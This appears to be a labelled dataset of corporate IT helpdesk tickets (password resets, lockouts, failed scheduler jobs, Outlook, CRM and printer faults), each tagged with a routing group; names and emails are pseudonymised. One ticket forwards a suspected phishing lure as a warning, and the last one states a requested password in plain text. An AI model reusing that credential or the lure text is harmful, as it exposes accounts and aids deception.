+[cid:image001.png@01SID_35f0a.5f8ac670]_x000D_ +_x000D_ +kind, ",GRP_0 +"erp very slow - happens every night starting at 9:45 pm name:fyzceglp vfnraqxc +language: +browser:microsoft internet explorer +email:fyzceglp.vfnraqxc@gmail.com +customer number: +telephone: +summary:erp very slow - happens every night starting at 9:45 pm",GRP_18 +"job Job_3052 failed in job_scheduler at: 10/04/2016 22:41:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3052 failed in job_scheduler at: 10/04/2016 22:41:00",GRP_8 +"vip-processed payment - potentional security attempt from: xmjwanes astmvqhc +sent: wednesday, october 05, 2016 12:14 am +to: nwfodmhc exurcwkm +subject: rakthyesh fw: processed payment - potentional security attempt + +do not open.......see the attached received earlier today. + +marc + +xmjwanes astmvqhc +director, human resources +xmjwanes.astmvqhc@gmail.com + + +-----original message----- +from: ghyaniel@dealgce.com [mailto:ghyaniel@dealgce.com] +sent: tuesday, october 04, 2016 12:56 pm +to: xmjwanes astmvqhc; naffwflie.hyhtard@kronsnwdg.com; agthynew@kw.com +subject: processed payment + +i made a list with the items i need and can find on company.com do you offer discounts for bulk orders? +you can find my contact details and the item list attached. + +",GRP_26 +"window locked for user id - laijuttryhr _x000D_ +_x000D_ +received from: wyxqkzmf.urigtqnp@gmail.com_x000D_ +_x000D_ +hi help desk team_x000D_ +_x000D_ +my window id locked. please assist to unlock immediately. ",GRP_0 +ticket update on inplant_866566 ticket update on inplant_866566,GRP_0 +"job bkwin_HostName_768_inc failed in job_scheduler at: 10/04/2016 19:28:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bkwin_HostName_768_inc failed in job_scheduler at: 10/04/2016 19:28:00",GRP_8 +ticket update on inplant_866142 ticket update on inplant_866142,GRP_0 +ticket update on inplant_866570 ticket update on inplant_866570,GRP_0 +"job Job_2573 failed in job_scheduler at: 10/04/2016 18:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2573 failed in job_scheduler at: 10/04/2016 18:00:00",GRP_44 +"missing owtlmpuv oicrjsfh in my team calendar page + +received from: oetlgbfw.bsctrnwp@gmail.com + +i am missing one person from my gl2 team on the calendar page + +dthyan matheywtyuews +sales manager gl2 +oetlgbfw.bsctrnwp@gmail.com + +",GRP_0 +unable to connect to vpn while updating passwords unable to connect to vpn while updating passwords,GRP_0 +password expired password expired,GRP_0 +ms crm dynamics error : outlook addin ms crm dynamics error : outlook addin ,GRP_0 +user wants crm mobile app to be donwloaded on mobile user wants crm mobile app to be donwloaded on mobile,GRP_0 +"access denied to collaboration_platform. i cannot access or go to libraries in collaboration_platform. i need to access this for applications support calls and e-mails. i'm having to transfer to other members, or put the calls on hold while someone else may be available to search for me._x000D_ +this is the message i am getting. _x000D_ +_x000D_ +if this problem persists, contact your support team and include these technical details: _x000D_ +correlation id: eb36aa9d-a0d2-3000-b1d3-a16127465a9a _x000D_ +date and time: 10/4/2016 12:53:18 pm _x000D_ +user: wfzgituk.rxvqzopt@gmail.com _x000D_ +issue type: user does not have permissions. ",GRP_16 +need crm added to outlook ribbon in microsoft outlook for crm mfg_tooltion need crm added to outlook ribbon in microsoft outlook for crm mfg_tooltion,GRP_0 +power management query power management query ,GRP_0 +vip 2-unable to load collaboration_platform site unable to load collaboration_platform site,GRP_0 +"company home page not loading _x000D_ +_x000D_ +received from: gvcfhwjy.lyxcorqb@gmail.com_x000D_ +_x000D_ +[cid:image001.jpg@01SID_35e4a.ce720dc0]_x000D_ +_x000D_ +best ",GRP_0 +"usa me access to : t:\finance\corporateaccounting\partner\cash & bank reconciliations\misc. cash\account 10134141 from: pjxclyhs fcniljtu +sent: tuesday, october 04, 2016 6:59 pm +to: nwfodmhc exurcwkm +cc: jwoiyzfp zlftrkpq; liz domasky +subject: trupthyti fw: folder access -ticket_no1556086 + +please usa me read only access to the following folder: + +t:\finance\corporateaccounting\partner\cash & bank reconciliations\misc. cash\account 21245252 + + +kind ",GRP_34 +lhqsm68267( patching_antivirus_sw prod ):node lhqsm68267 located at usa is down since 3:04 pm et on 10/04. lhqsm68267( patching_antivirus_sw prod ):node lhqsm68267 located at usa is down since 3:04 pm et on 10/04.,GRP_12 +unable to load outlook unable to load outlook,GRP_0 +collaboration_platform not working ; server is busy /unavailable collaboration_platform not working ; server is busy /unavailable ,GRP_16 +"urgent help required- outlook to crm mfg_tooltion issue. royhtub haujtimpton, +unable to access crm thru outlook.",GRP_0 +change of owner on collaboration_platform link change of owner on collaboration_platform link,GRP_0 +coffee spillage on keybankrd coffee spillage on keybankrd ,GRP_3 +"can you please check – marftgytin höpfner (userid: hoepftyhum, # 59146) gets the crm error message when trying to open the ""fore can you please check – marftgytin höpfner (userid: hoepftyhum, # 59146786) gets the crm error message when trying to open the ""forecast to plan"" dashbankrd.",GRP_22 +"saved over excel file _x000D_ +_x000D_ +received from: qzixratf.wrygjncl@gmail.com_x000D_ +_x000D_ +i have accidentally 'saved as' an excel spreadsheet over another file. is there a way to recover to a few days ago?_x000D_ +_x000D_ +",GRP_0 +query on crm app query on crm app,GRP_0 +printer -08 configure the id 08 printer on the laptop.,GRP_19 +"locked out of poruxnwb yfaqhceo received from: hwbukcsm.hwobikcv@gmail.com_x000D_ +_x000D_ +hi there,_x000D_ +_x000D_ +i tried changing my password in the poruxnwb yfaqhceo yesterday (oracle fusion middleware – production 11g) and after entering my old and new passwords, the log in box kept popping up but did not let me log in. i somehow backed out of it and it let me access the system._x000D_ +_x000D_ +today neither the old or new password will work. i have had this happen in the past and szewiguc nvajphfm would unlock it for me._x000D_ +_x000D_ +can someone help me get this corrected?_x000D_ +_x000D_ +_x000D_ +",GRP_1 +no audio on lat 7350 no audio on lat 7350,GRP_0 +windows password reset windows password reset,GRP_0 +"circuit outage: south_amerirtca, south_amerirtca vpn router is down at 12:23 pm et on 10/04. site is up on primary. what type of outage: _____network __x___circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? _____no (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ______12:23 pm et on 10/04.________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ____no___ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ___no____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___yes___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ___yes_____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___na________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ______na_____ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? __yes_____ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"issues with user profiles on HostName_108 user profiles seem to be messed up on this server and not creating. when trying to investigate a monitoring_tool monitoring issue i came across the error message in the attached screenshot._x000D_ +_x000D_ +please investigate. ",GRP_12 +"renew internal certificate for password_management_tool id password manager hello , + +as discussed, please assist on renewing the internal certificate for password_management_tool id password manager tool. + +",GRP_39 +ticket upadate on :inplant_866142 ticket upadate on :inplant_866142,GRP_0 +erp SID_34 password reset erp SID_34 password reset ,GRP_0 +"job Job_1387 failed in job_scheduler at: 10/04/2016 11:17:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1387 failed in job_scheduler at: 10/04/2016 11:17:00",GRP_9 +"urgent : not able to share company catalog data with external user... +summary:who can help me with collaboration_platform issues? +i have shared directory and files on collaboration_platform with an external user, but it is telling me ""only you"" under the shared with column",GRP_16 +"users at usa are not receiving inbound external calls users at usa are not receiving inbound external calls_x000D_ +_x000D_ +internal extension to extension calls are working and outbound calls are working _x000D_ +",GRP_37 +"missing email access: k-amerirtcas.hrss@company.com i previously had access to the amerirtcas_hrssc mail box on outlook, but it is no longer available to me. can this be re-set up? + +vpksyfco chosuygq + +",GRP_0 +"unlock and reset password user ( vvamrtryot ) just to inform you that user vvamrtryot seems has expired the password in SID_21, SID_1, SID_34._x000D_ +we couldn't proceed checking, can you also reset the password?_x000D_ +",GRP_2 +outlook stuck on processing outlook stuck on processing ,GRP_0 +erp gui is missing login options for xhaomnjl ctusaqpr erp gui is missing login options for xhaomnjl ctusaqpr,GRP_0 +xhaomnjl ctusaqpr called for erp account unlock xhaomnjl ctusaqpr called for erp account unlock,GRP_0 +windows acccount lockout windows acccount lockout,GRP_0 +"update inwarehouse_tool documents from list for sales org 12032, 12035 and 12036 with the germany office move the main inwarehouse_tool printer fd37v got temporarily totally deleted by accident from erp. a big bulk of inwarehouse_tools was already reissued, but there are billing documents dated august 26 - 29, 2016 that do not have any output yet at all. - see lists attached._x000D_ +_x000D_ +if an update is done on the billing via vf02, the correct output type gets automatically added. therefore we need to have a mass update done (just go to change mode and save), so that the missing printouts get added and issued to the appropriate printer. (billings with existing output might be amongst the list, these are good and no action is required.)_x000D_ +_x000D_ +*************_x000D_ +important: *_x000D_ +*************_x000D_ +if the mass update is done, please don't do it any any regular billing job times and note the issued documents from erp spool. the list of billings attached might also have documents with output assigned to other printers than fd37v. these billings are correct._x000D_ +accounting department, however, would need to have a list of all billings where the output now would get generated, as the customer might get reminders or dunnings for the same. we need to clearly trace these billing documents with output only now generated for audit reasons. we need to get the print outs as soon as possible. please help to support this request as soon as possible as some customers get annoyed with wrong dunnings._x000D_ +_x000D_ +if you have questions, don't hesitate to contact me. _x000D_ +",GRP_13 +clients laptop will not turn on clients laptop will not turn on,GRP_3 +erp SID_34 password reset erp SID_34 password reset,GRP_0 +"product management master, key figures dierppear sample before refresh_x000D_ +_x000D_ + _x000D_ +_x000D_ +_x000D_ +after refresh_x000D_ +_x000D_ + _x000D_ +_x000D_ +_x000D_ +_x000D_ +best ",GRP_9 +"i received an error when trying to log in to do my ethics for q2. error i received says ""our records indicate your log in credentials used to access the site from the company's collaboration_platform do not match the records we have on file within the active directory.""",GRP_0 +email address: dbryhtuown@task.com has been newly blocked from sending attachments. please remove the block. email address: dbryhtuown@task.com has been newly blocked from sending attachments. please remove the block.,GRP_26 +"erp font small. i've received a new laptop (latitude 7275), after the image installation the (erp) has e very little definition. when i try to logon i can see only very little charatcher.. do you have some indications ?",GRP_0 +"skype login after changing password _x000D_ +_x000D_ +received from: doxiqkws.uvrzcqmf@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +i recently changed my company network password (log in, email, vpn, etc.) and cannot sign in to skype for business anymore. i get a notification saying there was a problem acquiring a personal certificate:_x000D_ +_x000D_ +[cid:image001.png@01SID_35e11.eafad4b0]_x000D_ +_x000D_ +any assistance you can provide would be greatly appreciated._x000D_ +_x000D_ +",GRP_0 +"second monitor not working _x000D_ +_x000D_ +received from: iqcylpok.ascpqvni@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +my second monitor stopped working, cannot get a picture on it. can someone please come and take a look at it? ",GRP_3 +reset the password for fueiklyv jargqpkm on erp / production / erp please reset my password for SID_34 erp production and SID_37 bw production,GRP_0 +i need removed from my profile i updated my profile in the new single sign on and yet still appears. it has affected my number in outlook as well as anyone who has me in their contact list. the only number that should be associated with my profile is . if you do an employee search from outlook you will see the number.,GRP_2 +"password reset request to reset user's password + the following user in your organization has requested a password reset be performed for their account: + +• apokrfjv.mdiepcul@gmail.com +• first name: donnathyr +• last name: welling + +consider contacting this user to validate this request is authentic before continuing. + +if you have determined that this is a valid request, use your service's admin portal (office 365, windows intune, windows azure, etc.) to reset the password for this user. + +want to let you users reset their own passwords? check out how you can enable password reset for users in your organization with just a few clicks. + +sincerely, +company inc. + + + this message was sent from an unmonitored email address. please do not reply to this message. + + + + +",GRP_0 +EU_tool ws ewew8323843 funktioniert nicht \jionmpsf wnkpzcmv EU_tool ws ewew8323843 funktioniert nicht \jionmpsf wnkpzcmv,GRP_24 +"bluescreen ewew8323733 \wrcktgbd wzrgyunp hallo ,_x000D_ +_x000D_ +mein pc zeigt blaue seite mit vielen weißen buchstaben._x000D_ +pc nr. 212622_x000D_ +typ: optiplex 790_x000D_ +_x000D_ +bitte helfen!_x000D_ +_x000D_ +best ",GRP_24 +"key figure dierppears - urgent refer :inplant_866405 _x000D_ +_x000D_ +received from: uwofavej.hxyatnjc@gmail.com_x000D_ +_x000D_ +while updating existing product management master, key figures dierppear and if shown in columns also columns dierppear and download is distrtgoyed_x000D_ +_x000D_ +last month we have had the same issue as anybody made changes on the product management master_x000D_ +pallutyr pande corrected it back, maybe you can involve her again_x000D_ +_x000D_ +we are very bussy with month end data and immediately need the correct settings as they have been before._x000D_ +_x000D_ +sample : before refresh_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +best ",GRP_9 +skype issue : personal certificate error skype issue : personal certificate error ,GRP_0 +"password reset + request to reset user's password + the following user in your organization has requested a password reset be performed for their account: + +• icyxtqej.lqsjrgzt@gmail.com +• first name: hyeonthygwon +• last name: lethre + +consider contacting this user to validate this request is authentic before continuing. + +if you have determined that this is a valid request, use your service's admin portal (office 365, windows intune, windows azure, etc.) to reset the password for this user. + +want to let you users reset their own passwords? check out how you can enable password reset for users in your organization with just a few clicks. + +sincerely, +company inc. + + + this message was sent from an unmonitored email address. please do not reply to this message. + + + + +",GRP_0 +account got locked account got locked,GRP_0 +"system took a long time to respond after a password reset. system took a long time to respond after a password reset._x000D_ +stack guard error came up with outlook.",GRP_0 +user lndypaqg dhqwtcsr (gogtyekthyto) hat sein passwort in erp SID_34 verggermany. user lndypaqg dhqwtcsr (gogtyekthyto) hat sein passwort in erp SID_34 verggermany. ,GRP_0 +"unable to connect to expense reimbursement webpage. unable to connect to expense reimbursement webpage._x000D_ +page fails to load",GRP_0 +distributor_tool does not have a list of favorite customers issue occurred after a recent password change.,GRP_0 +"gurts lrupiepens email forwarding + +received from: hpqjaory.gfrwmije@gmail.com + +gurts lrupiepens left company's usa, il facility on september 30, 2016. +i am assuming partial responsibilities for gus. can you please set up email forwarding +for any correspondences to my email address? + +please advise if there is anything else required on my part or my manager, xpoqcrtb zwrypjqv. + +",GRP_26 +"please reset my password for hana SID_60,SID_59,SID_58 please reset my password for hana SID_60,SID_59,SID_58 for userid:bathishry",GRP_53 +erp password reset : erp SID_34 erp password reset : erp SID_34,GRP_0 +HostName_113 : rfcserver.exe process count service is down at 8:11 am et on 10/04. HostName_113 : rfcserver.exe process count service is down at 8:11 am et on 10/04.,GRP_14 +xceliron process where pos are auto received is not working as designed resulting in blocked inwarehouse_tools. xceliron process where pos are auto received is not working as designed resulting in blocked inwarehouse_tools resulting in additional work for the ap and buyer who cannot control this process. please correct the missing goods receipts on the attached file and make a permanent correction so that goods receipts are done in a timely fashion going forward. please do not close this ticket until a permanent fix is uacyltoe hxgayczeed and in place. ,GRP_29 +crm app on ios10 crm app on ios10,GRP_0 +"schnafk - docking station needs replacement desk: 455 - cubicle number in the customer service department - usa + +phone number: + +laptop model: latitude e5450 + +direct connection to monitors work, through docking station, no go.",GRP_3 +"collaboration_platform access + +received from: frydqbgs.ugmnzfik@gmail.com + +hello all, + +the project documentation under the collaboration_platform links below is no longer accessible with error message +jaytya created it, but he left meanwhile, perhaps deactivation of his account could be the reason. anyway, please help to get access again or provide instruction to change owner. ",GRP_16 +unable to sign in to skype unable to sign in to skype,GRP_0 +"view drawing in engineering tool, erp gui and business_client take 3x as long as normal since a couple days we see huge performance issues in fue to view drawings from erp._x000D_ +",GRP_14 +"updation required in flash player _x000D_ +_x000D_ +received from: ipydfcqo.kdxsquzn@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +please find below compatibility check getting while launching ethics._x000D_ +_x000D_ +kindly go thru and do the needful._x000D_ +_x000D_ +[cid:image011.jpg@01SID_35e5d.aeae3550]_x000D_ +_x000D_ +system details is provided below for your quick view._x000D_ +[cid:image012.png@01SID_35e5d.aeae3550]_x000D_ +_x000D_ +",GRP_0 +"plm-engineering tool: pdf-files can not be opened. error attached. _x000D_ +_x000D_ +received from: tgafnyzb.hnevrcuj@gmail.com_x000D_ +_x000D_ +hallo,_x000D_ +_x000D_ +das öffnen von pdf-files aus engineering tool dauert heute extrem lange. manchmal erscheint auch diese meldung, ohne dass das file geöffnet wird:_x000D_ +_x000D_ +[cid:image001.png@01SID_35e3f.829dfa90]_x000D_ +_x000D_ +mit freundlichen grüßen / best ",GRP_14 +"info type '0017' is missing to personal number 56567040 from: qkmvosen opundxsk +sent: tuesday, october 04, 2016 4:10 pm +to: nyifqpmv kfirxjag +subject: travel expense manager + +hello, + +transaktion pr05 doesn´t work for personal number 56567040. + +please check. + +",GRP_10 +probleme mit ie \vzqomdgt jwoqbuml probleme mit ie \vzqomdgt jwoqbuml,GRP_24 +sinic allgemeiner fehler: 3155 odbc vmsliazh ltksxmyv driver abfragetimeout \jionmpsf wnkpzcmv sinic allgemeiner fehler: 3155 odbc vmsliazh ltksxmyv driver abfragetimeout \jionmpsf wnkpzcmv,GRP_24 +"probleme mit drucker we110 \fdyietau dvsyxwbu hallo ,_x000D_ +_x000D_ +unser kopierer im schulungsraum ist auch defekt (minolta we 110)._x000D_ +_x000D_ +kannst du bitte mal nachschauen._x000D_ +",GRP_24 +"job Job_593 failed in job_scheduler at: 10/04/2016 06:08:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_593 failed in job_scheduler at: 10/04/2016 06:08:00",GRP_8 +"msd crm urgent help required, i cant link an appointment to an account. i have the crm tab on outlook, but when i enter an appointment and go to set regarding and put in the account, nothing comes to the account for an appointment.",GRP_40 +"job Job_1355 failed in job_scheduler at: 10/04/2016 05:48:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1355 failed in job_scheduler at: 10/04/2016 05:48:00",GRP_9 +"outlook issues - does not pull /send emails - delay up to 1 hour login: peathryucoj1 +i have issues with my emails in outlook today. +there are delays with pulling emails and sending out. +i am getting my emails with almost an hour delay. +i also have issues with sending out my emails. +they are hanging in my outbox for a long time until they finally go out. +",GRP_0 +i cannot pick calls up from my phone ebhl8111120 does not ring when there is a call.,GRP_7 +infopath is not working. infopath is not working.,GRP_0 +account locked. password reset request. account locked. password reset request.,GRP_0 +"need access to \\891245132\scan +zugriff auf verzeichnis angefragt. +folder access requested. + +benutzer id ? +user id ?ahujajtyhur + +benutzer die position titel? +user's position title ?executive sales admin + +verzeichnis? +folder ?\\891245132\scan + +art des zugriffs? +type of access ? (read only or full control) ?full + +name des vorgesetzten? +manager name?cobsfvjz apkqmrdu + +received from: ohdrnswl.rezuibdt@gmail.com + +hi, + +please help to assign scanner to my system 891245132. + +best ",GRP_19 +"need your help!! + +received from: ezwcpqrh.bnwqaglk@gmail.com + +hello it desk, + + +i sent this emal thru the web mail, as i can not open the ms office outrlook, due to the error message below. + + +the error message says "" cannot create new gard page of stack."" as of things, i just changed my pass word recently with accordance to the auto notification from system. + + +please help me to solve this trouble quickly and start to use outlook for my daily work. + + +my email address is + +ezwcpqrh.bnwqaglk@gmail.com + + +id is + +yathryu + + +mobile phone is + + + +your asistance is highly appreciated. + + +best ",GRP_0 +7350 wifi not connecting 7350 wifi not connecting,GRP_0 +windows password reset windows password reset,GRP_0 +"crm- extensions - forecast view _x000D_ +_x000D_ +received from: ctzykflo.evzbhgru@gmail.com_x000D_ +_x000D_ +dear all,_x000D_ +_x000D_ +under crm – extensions – the ""forecast"" button is gone. instead we have now ""potential spends"" . can someone please readd the ""forecast""._x000D_ +_x000D_ +[cid:image001.png@01SID_35e2d.85e00b60]_x000D_ +",GRP_40 +"app probleme _x000D_ +_x000D_ +received from: ecoljnvt.lbdqmvfs@gmail.com_x000D_ +_x000D_ +hallo kollegen,_x000D_ +_x000D_ +in meinem outlook kommt ein feld dass ein app – problem vorhanden ist._x000D_ +_x000D_ +was ist zu tun?_x000D_ +_x000D_ +[cid:image003.jpg@01SID_35e28.2c1d0470]_x000D_ +_x000D_ +mit freundlichen grüßen / best ",GRP_0 +"unable to create delivery please provide the following:_x000D_ +_x000D_ +what order number? 5019296276/00001_x000D_ +_x000D_ +what material or item number? 7380698_x000D_ +_x000D_ +what warehouse location? plant_108_x000D_ +_x000D_ +issue description / error message? no---",GRP_29 +"unable to do ethics course. have not received a mail from ethics since a very long time. mr. kothyherr has not received any mail from ethics since a long time. he thinks he should have received at least 2-3 mails during this period. that is why he is unable to do the course. +he insists ethics to look into it. + + + +received from: ecoljnvt.lbdqmvfs@gmail.com + +hallo kollegen, + +ich sollte eigentlich meine ethics vorgänge abarbeiten. + +dazu habe ich jedoch keinerlei erinnerungsinformationen bekommen noch einen link wie ich in das portal komme. + +deswegen habe ich versucht über hub in das portal zu kommen. + +dazu habe ich auf login gedrückt! + +[cid:image005.jpg@01SID_35e26.0dda3340] + +dann auf den button deutsch. + +[cid:image006.jpg@01SID_35e26.0dda3340] + +dann kommt jedoch keine offene session! + +was ist zu tun? + +mit freundlichen grüßen / best ",GRP_23 +frequent account locked out frequent account locked out,GRP_0 +account locked. account locked.,GRP_0 +"prognose crm - forecast to plan dashbankrd not working - resource not found error _x000D_ +_x000D_ +received from: ctzykflo.evzbhgru@gmail.com_x000D_ +_x000D_ +dear all,_x000D_ +_x000D_ +not only the one user is affected we got other sales reps indicating that they can't open the crm forecast to plan dashbankrd and get the ""resource not found error""._x000D_ +_x000D_ +",GRP_22 +outlook is not updating. outlook is not updating.,GRP_0 +"job Job_2645 failed in job_scheduler at: 10/04/2016 03:25:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2645 failed in job_scheduler at: 10/04/2016 03:25:00",GRP_6 +"i am still unable to ""salesperson"" and ""uacyltoe hxgaycze performed by"" in engineering_tool.could you help me? name:alparslanthyr +language: +browser:microsoft internet explorer +email:lanigpkq.qzhakunx@gmail.com +customer number: +telephone: +summary:hello, +i am still unable to ""salesperson"" and ""uacyltoe hxgaycze performed by"" in engineering_tool.could you help me? +",GRP_25 +"not able to login to ethics portal_ kxmidsga zokivdfa _x000D_ +_x000D_ +received from: kxmidsga.zokivdfa@gmail.com_x000D_ +_x000D_ +dear sir,_x000D_ +i am not able to login to ethics portal. the error screen shot attached below._x000D_ +kindly do the need full._x000D_ +_x000D_ +_x000D_ +[cid:image001.jpg@01SID_35e3c.6cd364f0]_x000D_ +_x000D_ +_x000D_ +_x000D_ +with best ",GRP_23 +"please provide access to m drive + +received from: dshferby.houtnzdi@gmail.com + +dear it team, + +good morning. +please provide full control access to below paths, for the below members (markhtyed cc). + +departments (\\HostName_95) (m:)\k100 scorecard_india iscl +departments (\\HostName_95) (m:)\k100 updates_india iscl + +sagfhoshgzpkmilu skwbuvjyheelavant santthyumar.shtyhant@company.com + fahdlecz ubcszaohygexqab.cvihupnk@gmail.com + erathyur dbrugslc.ydwtsunh@gmail.com +ihkolepb ozhnjyef ihkolepb.ozhnjyef@gmail.com +njdxwpvg.onlehdsi@gmail.com +culixwse pmrvxbnjhivaramdntyaiah wkzrenmj.vsyctbzk@gmail.com + + +",GRP_12 +"issue with bobj dear all,_x000D_ +_x000D_ +can you please fix the bobj problem for mjvfxnka zvjxuahe. see below error message._x000D_ +_x000D_ +",GRP_9 +"problems with wifi _x000D_ +_x000D_ +received from: hpeknoam.yrfowmva@gmail.com_x000D_ +_x000D_ +good morning,_x000D_ +_x000D_ +i use my dell latitude 7350 in my home office using my own wifi network for internet access._x000D_ +often when i wake it up from powersave mode it is still connected to my local wifi network, but as a „not identified"" network with no internet connection. my private owned devices (pc, smartphone,tablet) still work fine._x000D_ +i have to shut down and restart the dell again to get a proper connection._x000D_ +_x000D_ +please advise what to do, as restarting the dell a couple of times over the day is annoying and time kirtyling._x000D_ +_x000D_ +best ",GRP_0 +timecards access in ticketing_tool i have noticed that i don't have access to timecards in my ticketing_tool. can i have it enabled? ,GRP_36 +"job HostName_1019failagain failed in job_scheduler at: 10/04/2016 02:31:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job HostName_1019failagain failed in job_scheduler at: 10/04/2016 02:31:00",GRP_8 +"pgi for delivery note 9169475765 not possible pgi for delivery note 9169475765 not possible -> please see enclosed message_x000D_ +_x000D_ +",GRP_2 +"job HostName_1019fail failed in job_scheduler at: 10/04/2016 02:21:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job HostName_1019fail failed in job_scheduler at: 10/04/2016 02:21:00",GRP_8 +account locked in ad account locked in ad,GRP_0 +kann sich nicht anmelden kann sich nicht anmelden,GRP_33 +"do i have to worry about this? _x000D_ +_x000D_ +received from: hbmwlprq.ilfvyodx@gmail.com_x000D_ +_x000D_ +[cid:image001.png@01SID_35e17.ad30bfe0]_x000D_ +_x000D_ +mit freundlichem gruß / kind ",GRP_0 +"unable to login to HostName_589 vsphere client. unable to login to HostName_589 vsphere client._x000D_ +vmware virtualcenter server service is in stopped state.",GRP_12 +"material specification code the material code trn-hdt-kmc026 is available in the erp system, but when selecting it in engineering tool, there is an error ... no material code exists",GRP_11 +"plm7 enterprise search for engineering records not working hello, since a while the plm7 enterprise search for engineering records is not working on my pc. a plugin is missing according to the error messages in the status bar. see attachments._x000D_ +",GRP_11 +"request to reset microsoft online services password for tyhufrey.thyel@company.com request to reset user's password + the following user in your organization has requested a password reset be performed for their account: + +• tyhufrey.thyel@company.com +• first name: tyhufrey +• last name: thyel + +consider contacting this user to validate this request is authentic before continuing. + +if you have determined that this is a valid request, use your service's admin portal (office 365, windows intune, windows azure, etc.) to reset the password for this user. + +want to let you users reset their own passwords? check out how you can enable password reset for users in your organization with just a few clicks. + +sincerely, +company inc. + + +",GRP_0 +"job Job_1329 failed in job_scheduler at: 10/04/2016 00:50:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1329 failed in job_scheduler at: 10/04/2016 00:50:00",GRP_9 +"vh 27 - werk germany - fehlende druckaufträge - eilt monatswechsel!!! _x000D_ +bei drucker vh 27 keine ausgabe der druckaufträge aus erp-hrp. druck aus word/excel funktioniert._x000D_ +drucker wurde bereits ausgeschaltet und neu gestartet ohne erfolg!_x000D_ +_x000D_ +_x000D_ +_x000D_ +please complete all required questions below. _x000D_ +if not, it will be returned back to the gsc / requester to provide required information_x000D_ +_x000D_ + • gsc to review ticket, if not able to resolve then please assign to appropriate group per your printer problem assignment flowchart._x000D_ +_x000D_ + • printer name / make - model? (ex hq50 – wy98 - hp 8150) _x000D_ + _x000D_ + • detailed description of the problem ?_x000D_ +_x000D_ + • type of documents not printing? (email – excel – word…etc) _x000D_ + (inwarehouse_tool – delivery note – production order…etc)_x000D_ +_x000D_ + • what system or application being used at time of the problem? (ex windows / erp /kls)_x000D_ +_x000D_ + • if not printing at all, does it respond to a ping command on the network and has a power cycle of the printer been completed?_x000D_ +_x000D_ + • if erp system, which system? (ex SID_34 / SID_38 / hrp / plm)_x000D_ +_x000D_ + • if it's an erp printer problem can the erp output be rerouted to another erp printer temporarily?_x000D_ + what printer can it be rerouted too? _x000D_ +_x000D_ + • if document is not printing correctly, please scan copy of the document and attach to the ticketing_tool ticket.",GRP_0 +"ethics_application not found _x000D_ +_x000D_ +received from: vfoyenlw.ntpbdeyf@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +i am not able to open the ethics training course._x000D_ +_x000D_ +please see the below error screenshot._x000D_ +_x000D_ +[cid:image009.jpg@01SID_35e24.ec8a53b0]_x000D_ +_x000D_ +with ",GRP_0 +"ethics login issue _x000D_ +_x000D_ +received from: ohdrnswl.rezuibdt@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ +please see highlighted error and resolve it on urgent basis._x000D_ +_x000D_ +[cid:image001.png@01SID_35e21.0bf7a9e0]_x000D_ +_x000D_ +best ",GRP_23 +"unable to login to ethics training course hi, when i'm trying to login to ethics training course, i get the web page as unregistered user. please can you help in this.",GRP_23 +"issue playing courage change win video _x000D_ +_x000D_ +received from: saerpwno.qsdfmakc@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +can you please help me with this message which i got when i tried to open the lauacyltoe hxgaycze video on ""courage change win""_x000D_ +_x000D_ +[cid:image001.jpg@01SID_35e1d.9b7d2300]_x000D_ +_x000D_ +",GRP_0 +"unable to print from wy33 printer unable to print from wy33 printer +_________________________________ + +ic + welcome, our next available agent will be with you shortly... + interaction alerting agent. + website visitor has joined the conversation +dwfiykeo argtxmvcumar3 + hello +zheqafyo bqirpxag + hi, good moryctrhbkm plvnuxmrnoj + i could not print in wy33 printer.. i am in india +zheqafyo bqirpxag + hi, are you there? +dwfiykeo argtxmvcumar3 + yes +zheqafyo bqirpxag + this problem happens every month, +dwfiykeo argtxmvcumar3 + ok, let me check with local it + where are you right now, in which deppt? +",GRP_19 +"install lauacyltoe hxgaycze version of flash player _x000D_ +_x000D_ +received from: saerpwno.qsdfmakc@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +can you please install the lauacyltoe hxgaycze version of flash player on my system? i got this message (which is shown below) while i tried to complete the ethics course on our collaboration_platform site._x000D_ +_x000D_ +[cid:image001.jpg@01SID_35e1b.fb25e280]_x000D_ +_x000D_ +",GRP_0 +"job pp_EU_tool_netch_keheu2 failed in job_scheduler at: 10/03/2016 23:06:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job pp_EU_tool_netch_keheu2 failed in job_scheduler at: 10/03/2016 23:06:00",GRP_8 +"SID_51 password _x000D_ +_x000D_ +received from: qycgdfhz.iqshzdru@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ +please reset my password for SID_51 to daypay3._x000D_ 